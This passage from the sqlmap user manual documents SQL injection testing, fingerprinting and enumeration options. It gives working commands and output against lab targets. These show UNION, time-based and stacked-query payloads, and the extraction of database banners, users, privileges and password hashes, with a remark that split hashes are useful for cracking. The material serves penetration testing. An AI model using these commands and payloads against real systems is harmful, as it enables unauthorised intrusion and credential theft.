As you see in the above example the number after `Dynamic content:` was dynamic and changed each second. To get around of this problem we could use the above explained page comparison options or exclude this snippet of dynamic text from the page before processing it and comparing it with the not injected page.

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
  --excl-reg "Dynamic content: ([\d]+)"
```

```
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

As you can see, when this options is specified, sqlmap skips the URL stability test.

5.5 Techniques

These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.

5.5.1 Test for stacked queries (multiple statements) support

Option: `--stacked-test`

It is possible to test if the web application technology supports **stacked queries**, multiple statements, on the injectable parameter.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
  --stacked-test -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
stacked queries support:        None
```

By default PHP builtin function `mysql_query()` does not support multiple statements. Multiple statements is a feature supported by default only by some web application technologies in relation to the back-end database management system. For instance, as you can see from the next example, where PHP does not support them on MySQL, it does on PostgreSQL.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
  --stacked-test -v 1

[...]
back-end DBMS: PostgreSQL
```

```
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
  --stacked-test -v 1

[...]
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
stacked queries support:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
```

5.5.2 Test for time based blind SQL injection

Options: `--time-test` and `--time-sec`

It is possible to test if the target URL is affected by a **time based blind SQL injection** vulnerability.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
  --time-test -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
condition syntax
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
with AND condition syntax
time based blind sql injection payload:    'id=1 AND SLEEP(5) AND 5249=5249'
```

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
  --time-test -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
condition syntax
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
injection with AND condition syntax
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
query syntax
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
with stacked query syntax
time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
  --time-test -v 1

[...]
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND
condition syntax
[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql
injection with AND condition syntax
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked
query syntax
[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with
stacked query syntax
time based blind sql injection payload:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND
'PmrXn'='PmrXn'
```

It is also possible to set the seconds to delay the response by providing the `--time-sec` option followed by an integer. By default delay is set to five seconds.

5.5.3 Test for UNION query SQL injection

Options: `--union-test` and `--union-tech`

It is possible to test if the target URL is affected by a **UNION query (inband) SQL injection** vulnerability. Refer to the *Techniques* section for details on this SQL injection technique.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
  --union-test -v 1

[...]
back-end DBMS:  Oracle

[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union:    'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
```

By default sqlmap uses the `NULL` **bruteforcing** technique to detect the number of columns within the original `SELECT` statement. It is also possible to change it to `ORDER BY` **clause bruteforcing** with the `--union-tech` option.

Further details on these techniques can be found here .

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
  --union-test --union-tech orderby -v 1

[...]
back-end DBMS: PostgreSQL
```

```
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
bruteforcing technique
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union:    'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
1262=1262'
```

As you can see, the target URL parameter `id` might be also exploitable by the inband SQL injection technique. In case a case it is strongly recommended to use this technique which saves a lot of time.

It is strongly recommended to run at least once sqlmap with the `--union-test` option to test if the affected parameter is used within a `for` cycle, or similar, and in case use `--union-use` option to exploit this vulnerability because it saves a lot of time and it does not weight down the web server log file with hundreds of HTTP requests.

5.5.4 Use the UNION query SQL injection

Option: `--union-use`

Providing the `--union-use` parameter, sqlmap will first test if the target URL is affected by an **inband SQL injection** (`--union-test`) vulnerability then, in case it seems to be vulnerable, it will confirm that the parameter is affected by a **Full UNION query SQL injection** and use this technique to go ahead with the exploiting. If the confirmation fails, it will check if the parameter is affected by a **Partial UNION query SQL injection**, then use it to go ahead if it is vulnerable. In case the inband SQL injection vulnerability is not exploitable, sqlmap will automatically fallback on the blind SQL injection technique to go ahead.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \
  --union-use --banner

[...]
back-end DBMS:  Microsoft SQL Server 2000

[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
[hh:mm:42] [DEBUG] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds
banner:
---
Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
        Aug  6 2000 00:57:48
        Copyright (c) 1988-2000 Microsoft Corporation
        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
```

As you can see, the vulnerable parameter (`id`) is affected by both blind SQL injection and exploitable full inband SQL injection vulnerabilities.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5 \
  --union-use --current-user

[...]
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
injection vulnerability
[hh:mm:29] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
NULL# AND 8032=8032
[hh:mm:29] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
%208032=8032 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 194
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
</table>
</body></html>

[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds
current user:    'testuser@localhost'
```

As you can see, the MySQL `CURRENT_USER()` function (–current-user) output is nested, inband, within the HTTP response page, this makes the inband SQL injection exploited.

In case the inband SQL injection is not fully exploitable, sqlmap will check if it is partially exploitable: this occurs if the query output is not parsed within a `for`, or similar, cycle but only the first entry is displayed in the page content.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \
  --union-use --dbs

[...]
back-end DBMS: MySQL >= 5.0.0
```

```
[hh:mm:56] [INFO] fetching database names
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
vulnerability
[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
FROM information_schema.SCHEMATA# AND 1062=1062
[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds
[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds
[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds
[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] privatedb
[*] testdb
```

As you can see, sqlmap identified that the parameter is affected by a partial inband SQL injection. Consequently, it counted the number of query output entries and retrieved them once per time. It forces the parameter (`id`) value `1` to its negative value `-1` so that it does not return, presumibly, any output. That leaves our own `UNION ALL SELECT` statement to produce one entry at a time and display only it in the page content.

5.6 Fingerprint

5.6.1 Extensive database management system fingerprint

Options: `-f` or `--fingerprint`

By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending

on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested.

After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1

[...]
[hh:mm:17] [INFO] testing MySQL
[hh:mm:17] [INFO] confirming MySQL
[hh:mm:17] [INFO] retrieved: 5
[hh:mm:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
```

As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.

If you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the `--fingerprint` option.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:49] [INFO] testing MySQL
[hh:mm:49] [INFO] confirming MySQL
[hh:mm:49] [INFO] retrieved: 3
[hh:mm:49] [INFO] the back-end DBMS is MySQL
[hh:mm:49] [INFO] retrieved:
[hh:mm:49] [INFO] retrieved:
[hh:mm:49] [INFO] retrieved: t
[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.67
               html error message fingerprint: MySQL
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
[hh:mm:38] [INFO] testing Oracle
[hh:mm:38] [INFO] confirming Oracle
[hh:mm:38] [INFO] the back-end DBMS is Oracle
[hh:mm:38] [INFO] retrieved: 10
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
```

```
back-end DBMS: active fingerprint: Oracle 10g
               html error message fingerprint: Oracle
```

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
[hh:mm:14] [INFO] testing PostgreSQL
[hh:mm:14] [INFO] confirming PostgreSQL
[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
[hh:mm:14] [INFO] retrieved: 2
[hh:mm:14] [INFO] retrieved:
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
               html error message fingerprint: PostgreSQL
```

As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option `--dbms`.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] confirming Microsoft SQL Server
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
                html error message fingerprint: Microsoft SQL Server
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f

[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] confirming Microsoft SQL Server
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
               html error message fingerprint: Microsoft SQL Server
```

If you want an even more accurate result, based also on banner parsing, you can also provide the `-b` or `--banner` option.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b

[...]
[hh:mm:04] [INFO] testing MySQL
[hh:mm:04] [INFO] confirming MySQL
[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:04] [INFO] retrieved: 0
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:04] [INFO] the back-end DBMS is MySQL
[hh:mm:04] [DEBUG] query: VERSION()
[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds
[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
[hh:mm:05] [INFO] retrieved:
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1)
[hh:mm:05] [INFO] retrieved:
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1)
[hh:mm:05] [INFO] retrieved: t
[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.67
               banner parsing fingerprint: MySQL 5.0.67
               html error message fingerprint: MySQL
[...]
```

As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b

[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] confirming Microsoft SQL Server
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:03] [DEBUG] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
        Aug  6 2000 00:57:48
        Copyright (c) 1988-2000 Microsoft Corporation
        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Windows 2000 Service Pack 4
back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
```

```
                banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
                version 8.00.194
                html error message fingerprint: Microsoft SQL Server
[...]
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b

[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] confirming Microsoft SQL Server
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [DEBUG] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
        Oct 14 2005 00:33:37
        Copyright (c) 1988-2005 Microsoft Corporation
        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS operating system: Windows 2003 Service Pack 1
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
               banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0
               version 9.00.1399
               html error message fingerprint: Microsoft SQL Server
[...]
```

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

5.7 Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

5.7.1 Banner

Option: `-b` or `--banner`

Most of the modern database management systems have a function and/or an environment variable which returns details on the database management system version. Also, sometimes it returns the operating system version where the daemon has been compiled on, the operating system architecture, and its service pack. Usually the function is `version()` and the environment variable `@@version`.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0

banner:    '5.0.67-0ubuntu6'
```

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0

banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b -v 0

banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
```

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -b -v 0

banner:
---
Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
        Aug  6 2000 00:57:48
        Copyright (c) 1988-2000 Microsoft Corporation
        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b

banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
        Oct 14 2005 00:33:37
        Copyright (c) 1988-2005 Microsoft Corporation
        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
---
```

5.7.2 Session user

Option: `--current-user`

It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.

Example on a **MySQL 5.0.67** target:

```
python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0

current user:    'testuser@localhost'
```

5.7.3 Current database

Option: `--current-db`

It is possible to retrieve the database management system's database the web application is connected to.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0

current database:    'master'
```

5.7.4 Detect if the session user is a database administrator (DBA)

Option: `--is-dba`

It is possible to detect if the current database management system session user is a database administrator.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2

[...]
back-end DBMS: PostgreSQL

[hh:mm:49] [INFO] testing if current user is DBA
[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
current user is DBA:    'True'
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2

[...]
back-end DBMS: Oracle

[hh:mm:57] [INFO] testing if current user is DBA
[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
THEN 1 ELSE 0 END) FROM DUAL
[hh:mm:58] [INFO] retrieved: 1
[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
current user is DBA:    'True'
```

5.7.5 Users

Option: `--users`

It is possible to enumerate the list of database management system users.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0

database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
```

5.7.6 Users password hashes

Options: `--passwords` and `-U`

It is possible to enumerate the password hashes for each database management system user.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0

[*] debian-sys-maint [1]:
    password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
[*] root [1]:
    password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
[*] testuser [1]:
    password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
```

You can also provide the `-U` option to specify the user who you want to enumerate the password hashes.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
  -U sa -v 0

database management system users password hashes:
[*] sa [1]:
    password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
ba9930b62ee5d506955
        header: 0x0100
        salt: 0a16d704
        mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
        uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
```

As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.

If you provide `CU` as username it will consider it as an alias for current user and will retrieve the password hashes for this user.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
  -U CU -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:48] [INFO] fetching current user
[hh:mm:48] [INFO] retrieved: postgres
```

```
[hh:mm:49] [INFO] fetching database users password hashes for current user
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96034b72d0bba108afe96c1e7
```

5.7.7 Users privileges

Options: `--privileges` and `-U`

It is possible to enumerate the privileges for each database management system user.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0

[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
database management system users privileges:
[*] CTXSYS [2]:
    privilege: CTXAPP
    privilege: RESOURCE
[*] DBSNMP [1]:
    privilege: OEM_MONITOR
[*] FLOWS_020100 (administrator) [4]:
    privilege: CONNECT
    privilege: DBA
    privilege: RESOURCE
    privilege: SELECT_CATALOG_ROLE
[*] FLOWS_FILES [2]:
    privilege: CONNECT
    privilege: RESOURCE
[*] HR (administrator) [3]:
    privilege: CONNECT
    privilege: DBA
    privilege: RESOURCE
[*] MDSYS [2]:
    privilege: CONNECT
    privilege: RESOURCE
[*] OUTLN [1]:
    privilege: RESOURCE
[*] SYS (administrator) [22]:
    privilege: AQ_ADMINISTRATOR_ROLE
